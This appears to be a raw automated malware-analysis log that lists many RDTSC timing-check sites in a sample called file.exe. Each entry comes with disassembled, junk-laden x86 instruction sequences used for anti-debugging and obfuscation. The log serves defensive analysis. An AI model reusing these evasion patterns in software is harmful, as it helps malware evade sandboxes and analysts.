Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C4FC second address: 122C522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d je 00007F6940DA84E6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C71A second address: 122C729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA884Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E489 second address: 122E48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123071E second address: 1230724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230724 second address: 123072A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123072A second address: 123072E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F88C second address: 122F890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123072E second address: 1230741 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F6940DA8846h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230741 second address: 1230747 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230747 second address: 1230752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F6940DA8846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12317CA second address: 12317CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12317CE second address: 12317D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12317D2 second address: 12317D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230916 second address: 123091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123091C second address: 1230921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12327AD second address: 12327B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12327B2 second address: 1232820 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F6940DA84E6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F6940DA84E8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D2DECh] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F6940DA84E8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b sub edi, dword ptr [ebp+122D2376h] 0x00000051 mov dword ptr [ebp+122D28B6h], eax 0x00000057 push 00000000h 0x00000059 stc 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push edx 0x0000005e jl 00007F6940DA84E6h 0x00000064 pop edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123191B second address: 123191F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232820 second address: 123282E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA84EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123191F second address: 1231929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231929 second address: 123192D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12357B0 second address: 12357B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12378D4 second address: 1237948 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007F6940DA84E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F6940DA84ECh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F6940DA84E8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D3A21h] 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+1246242Dh], edx 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F6940DA84E8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e xchg eax, esi 0x0000005f push ecx 0x00000060 push esi 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123499F second address: 12349A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12338E2 second address: 123399B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d mov dword ptr [ebp+122D214Ch], ebx 0x00000013 mov ebx, 25D05C3Eh 0x00000018 popad 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov ebx, 2A0DCBB2h 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F6940DA84E8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007F6940DA84F6h 0x0000004b sbb edi, 38A787B4h 0x00000051 mov dword ptr [ebp+122D375Bh], edi 0x00000057 mov eax, dword ptr [ebp+122D0BA5h] 0x0000005d sub ebx, 078DBC25h 0x00000063 mov ebx, dword ptr [ebp+122D2C94h] 0x00000069 push FFFFFFFFh 0x0000006b push 00000000h 0x0000006d push ecx 0x0000006e call 00007F6940DA84E8h 0x00000073 pop ecx 0x00000074 mov dword ptr [esp+04h], ecx 0x00000078 add dword ptr [esp+04h], 00000017h 0x00000080 inc ecx 0x00000081 push ecx 0x00000082 ret 0x00000083 pop ecx 0x00000084 ret 0x00000085 nop 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 jno 00007F6940DA84E6h 0x0000008f pushad 0x00000090 popad 0x00000091 popad 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236929 second address: 123692F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123399B second address: 12339A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123692F second address: 1236933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12339A0 second address: 12339A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239923 second address: 1239929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239929 second address: 123992D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123992D second address: 123997E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6940DA8846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor dword ptr [ebp+122D3464h], edi 0x00000015 push 00000000h 0x00000017 add di, F7C7h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F6940DA8848h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 push eax 0x00000039 pushad 0x0000003a jmp 00007F6940DA884Fh 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8079 second address: 11D807F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239AD0 second address: 1239B53 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6940DA8848h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d and ebx, 098E5E58h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov bx, 9CD4h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007F6940DA8848h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 00000014h 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f xor dword ptr [ebp+122D2173h], edi 0x00000045 mov eax, dword ptr [ebp+122D05FDh] 0x0000004b push 00000000h 0x0000004d push ecx 0x0000004e call 00007F6940DA8848h 0x00000053 pop ecx 0x00000054 mov dword ptr [esp+04h], ecx 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc ecx 0x00000061 push ecx 0x00000062 ret 0x00000063 pop ecx 0x00000064 ret 0x00000065 add edi, 6378770Ch 0x0000006b push FFFFFFFFh 0x0000006d nop 0x0000006e push eax 0x0000006f push edx 0x00000070 jns 00007F6940DA884Ch 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D807F second address: 11D8083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239B53 second address: 1239B72 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6940DA884Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F6940DA884Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BF55 second address: 123BFB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6940DA84F5h 0x0000000d nop 0x0000000e jmp 00007F6940DA84F0h 0x00000013 push 00000000h 0x00000015 cld 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F6940DA84E8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 xor dword ptr [ebp+122D1FB7h], edi 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c push esi 0x0000003d pop esi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E028 second address: 123E03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6940DA884Ah 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123C0AF second address: 123C0C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246133 second address: 1246147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246147 second address: 1246154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007F6940DA84E8h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12462A2 second address: 12462BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8853h 0x00000007 jc 00007F6940DA8846h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BD7B second address: 124BD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BD80 second address: 106EB4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8852h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 254DD890h 0x00000010 clc 0x00000011 push dword ptr [ebp+122D0A6Dh] 0x00000017 jmp 00007F6940DA8859h 0x0000001c call dword ptr [ebp+122D3A40h] 0x00000022 pushad 0x00000023 stc 0x00000024 jmp 00007F6940DA884Dh 0x00000029 xor eax, eax 0x0000002b jg 00007F6940DA884Eh 0x00000031 jo 00007F6940DA8848h 0x00000037 pushad 0x00000038 popad 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d xor dword ptr [ebp+122D26C5h], eax 0x00000043 mov dword ptr [ebp+122D2B34h], eax 0x00000049 mov dword ptr [ebp+122D1C27h], ebx 0x0000004f mov esi, 0000003Ch 0x00000054 xor dword ptr [ebp+122D399Ah], ebx 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e or dword ptr [ebp+122D1C27h], ecx 0x00000064 lodsw 0x00000066 xor dword ptr [ebp+122D399Ah], edx 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 or dword ptr [ebp+122D399Ah], edx 0x00000076 mov dword ptr [ebp+122D399Ah], esi 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D26C5h], ecx 0x00000086 nop 0x00000087 push eax 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b push edi 0x0000008c pop edi 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125086C second address: 1250871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250871 second address: 1250876 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FB0A second address: 124FB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FC79 second address: 124FC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA8850h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FC8D second address: 124FCA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F1h 0x00000007 jng 00007F6940DA84E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FCA8 second address: 124FCC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA8859h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FCC5 second address: 124FCD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FE40 second address: 124FE44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FFC5 second address: 124FFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F6940DA84F2h 0x0000000e pop edx 0x0000000f jmp 00007F6940DA84F7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12502BA second address: 12502C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F6940DA8846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12502C5 second address: 12502E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6940DA84F8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125058C second address: 1250592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250592 second address: 125059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125646F second address: 1256473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256473 second address: 125647D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6940DA84E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125647D second address: 1256483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12566FE second address: 1256735 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6940DA84F7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256735 second address: 1256741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6940DA8846h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256741 second address: 1256745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256745 second address: 1256751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12569E3 second address: 12569EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12569EC second address: 1256A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6940DA884Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F6940DA8846h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256A0C second address: 1256A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256A25 second address: 1256A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6940DA884Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256A3B second address: 1256A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1256D21 second address: 1256D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125729E second address: 12572A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6940DA84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12572A8 second address: 12572EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F6940DA8846h 0x0000000d jmp 00007F6940DA884Bh 0x00000012 push eax 0x00000013 pop eax 0x00000014 jo 00007F6940DA8846h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e jmp 00007F6940DA8857h 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push esi 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D167 second address: 125D174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F6940DA84E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D174 second address: 125D197 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6940DA8859h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D197 second address: 125D19B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D19B second address: 125D1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F6940DA8850h 0x0000000d js 00007F6940DA884Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD0E2 second address: 11DD0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD0E8 second address: 11DD0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125BB75 second address: 125BB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125BB7B second address: 125BB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125BB7F second address: 125BB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C89E second address: 125C8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C8A2 second address: 125C8B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6940DA84E6h 0x00000008 jnp 00007F6940DA84E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C8B7 second address: 125C8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
